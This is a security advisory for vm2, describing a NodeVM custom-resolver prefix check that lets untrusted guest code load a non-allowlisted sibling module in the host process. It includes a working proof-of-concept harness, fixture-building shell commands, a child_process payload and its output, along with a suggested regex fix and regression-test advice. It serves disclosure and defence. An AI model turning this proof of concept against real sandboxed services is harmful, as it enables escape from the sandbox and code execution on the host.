GHSA-5h3f-q97h-ccvc CVE-2026-100721
vm2: NodeVM custom resolution bypasses external path boundaries
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.59%
- Chance of exploitation in the next 30 days. Higher than 48.27% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
3.12.2- Upgrade vm2 to this version or later
Description
Summary
At source revision 91034466bfb7f56b95fd48083ec6ca36d058f164 of vm2 3.11.8, an untrusted NodeVM guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. LegacyResolver.customResolve stores the resolved path in this.externals as ^<path> without an end or separator boundary; a later absolute require of a sibling such as foo2/index.js therefore passes the external check and is loaded through hostRequire when the configured context is host. The decisive attack loaded foo as FOO_OK and then executed the prefix-sharing sibling, which returned PREFIX_PWN after invoking child_process; an otherwise identical control denied the sibling with ENOTFOUND.
Technical Details
The affected configuration is a documented NodeVM use in which the embedder sets require.external to {modules: ['foo'], transitive: false}, supplies a custom resolver that returns the foo directory, sets a root directory, and uses context: 'host'. The guest controls the require specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary node_modules lookup misses and the custom resolver is consulted.
The source-to-sink path is:
NodeVM.runexecutes guest code and creates the module-specificrequirefunction atlib/nodevm.js:516-575.DefaultResolver.resolveFullsearches normal locations and then dispatches a miss tocustomResolveatlib/resolver.js:227-316.LegacyResolver.customResolvechecks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression atlib/resolver-compat.js:266-291.isPathAllowedForModulefalls back tothis.externals.some(regex => regex.test(path))atlib/resolver-compat.js:193-215. The dynamically appended expression^/…/node_modules/fooalso matches/…/node_modules/foo2/index.jsbecause no path separator or end-of-string condition is required.loadJSusesthis.hostRequire(filename)for a host-context file and only wraps the returned exports withvm.readonlyatlib/resolver-compat.js:255-263. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.
The relevant current code has the same flaw for both supported custom-resolver return shapes:
if (typeof resolved === 'string') {
this.externals.push(new RegExp('^' + escapeRegExp(resolved)));
return this.loadAsFileOrDirectory(resolved, extList);
}
const {module=x, path: resolvedPath} = resolved;
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));
return this.loadNodeModules(module, [resolvedPath], extList);
The existing anchored bare-specifier matcher and the separator-aware mod.path check address different authorization states. They do not constrain the new this.externals entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.
PoV
The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:
const foo = require('foo');
module.exports = {
foo,
sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};
The corresponding embedder configuration is:
const vm = new NodeVM({
require: {
external: {modules: ['foo'], transitive: false},
root: '/tmp/vm2-prefix-case',
context: 'host',
resolve(name) {
return name === 'foo'
? '/tmp/vm2-prefix-case/node_modules/foo'
: undefined;
}
}
});
The sibling is not itself allowlisted. Its successful load is the authorization violation; the child_process call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.
PoC
From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:
git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164
npm ci --ignore-scripts
Save the following harness as /tmp/custom-resolve-prefix.js:
'use strict';
const path = require('path');
const { NodeVM } = require(process.cwd() + '/lib/main.js');
const [, , mode, fooIndexPath, siblingPath] = process.argv;
const fooDir = path.dirname(fooIndexPath);
const root = path.resolve(fooDir, '../..');
const entry = path.join(path.dirname(root), 'entry.js');
let customCalls = 0;
function runGuest(code) {
return new NodeVM({
require: {
external: {modules: ['foo'], transitive: false},
root,
context: 'host',
resolve(moduleName) {
if (moduleName === 'foo') {
customCalls++;
return fooDir;
}
return undefined;
}
}
}).run(code, entry);
}
const record = {mode, result: 'invalid'};
try {
if (mode === 'candidate') {
const output = runGuest(`
const foo = require('foo');
module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
`);
record.output = output;
if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
record.result = 'violation';
record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
} else {
record.result = 'pass';
}
} else if (mode === 'control') {
try {
runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
record.result = 'violation';
record.signal = 'prefix-sharing sibling loaded before custom resolution';
} catch (error) {
record.result = 'pass';
record.denial = String(error && (error.code || error.message) || error);
}
} else {
record.error = 'unknown mode';
}
} catch (error) {
record.result = 'invalid';
record.error = String(error && (error.stack || error.message) || error);
}
record.customCalls = customCalls;
console.log(JSON.stringify(record));
Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:
mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2
cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'
'use strict';
module.exports = 'FOO_OK';
EOF
cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'
'use strict';
module.exports = require('child_process').execFileSync(
process.execPath,
['-e', "process.stdout.write('PREFIX_PWN')"]
).toString();
EOF
Run the attack and then the negative control from the repository checkout:
node /tmp/custom-resolve-prefix.js candidate \
/tmp/vm2-prefix-case/node_modules/foo/index.js \
/tmp/vm2-prefix-case/node_modules/foo2/index.js
node /tmp/custom-resolve-prefix.js control \
/tmp/vm2-prefix-case/node_modules/foo/index.js \
/tmp/vm2-prefix-case/node_modules/foo2/index.js
The decisive results were:
{"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1}
{"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}
Both executions completed successfully with return code 0 in an offline node:bookworm runtime. The attack reached LegacyResolver.customResolve once, while the control reached it zero times. The foo2 fixture can use child_process only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.
Impact
This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a NodeVM with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite transitive: false. The demonstrated sibling executes child_process at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.
Suggested Fix
Make every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the {path: resolvedPath} result:
const externalPath = value => new RegExp(
'^' + escapeRegExp(value) + '(?:[\\/].*)?$'
);
Use externalPath(resolved) at the string-return branch and externalPath(resolvedPath) at the object-return branch. A path-aware canonical comparison shared with isPathAllowedForModule is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted foo and after customResolve has appended a new regex.
Add regression coverage that configures external: {modules: ['foo'], transitive: false}, a custom resolver returning foo, and context: 'host'; it should require foo and then assert that the absolute foo2/index.js sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving foo, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither this.externals.push branch can reintroduce the prefix authorization.
Affected Package/Versions
- Package:
vm2in the npm ecosystem. - Tested package version:
3.11.8, at source revision91034466bfb7f56b95fd48083ec6ca36d058f164. - Affected version range tested:
pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164. - Current head: the pinned revision is vulnerable, as shown by the attack/control pair above.
- Patched versions: none identified by the tested evidence.
- Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.
Advisory History
The closest public match is GHSA-7q3f-wx44-378m, titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the mod.path.startsWith(path) logic in isPathAllowedForModule for a relative require from an allowlisted package. Its public fix is commit 6ac3916da84e060c403e407b6b6318fcc66b0e72, which adds a path-boundary check to isPathAllowedForModule while leaving the filename-side this.externals fallback unchanged. A related public resolver fix is commit ab4ee7d803e8c80155e9eb3672226bddbca4aa9c, which rejects .. traversal in allowlisted subpaths and explicitly leaves the filename-side this.externals matcher untouched. This finding has a separate fix surface: the current customResolve function appends new raw-prefix regular expressions to this.externals at both custom-resolver return branches, which those public fixes do not describe or patch.
GHSA-c48m-32m9-vx93, “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side externalCache matcher and rejects .. segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: customResolve appends a filename-side raw-prefix regular expression to this.externals, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | < 3.12.2 |
3.12.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.12.2
- npm
npm install vm2@3.12.2- yarn
yarn add vm2@3.12.2- pnpm
pnpm add vm2@3.12.2
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
CVSS 3.1 10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
- github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc
- github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72
- github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164
- github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c
- github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f
- github.com/patriksimek/vm2/releases/tag/v3.12.2
- vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-pq68-rvw4-xp4r vm2 contains a sandbox escape vulnerability | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-6rh5-qq4q-97xh vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes | High | Also affects vm2 |
| GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process | Critical | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
| GHSA-88hf-g992-jg85 vm2: Sandbox Escape (NodeVM) | Critical | Also affects vm2 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor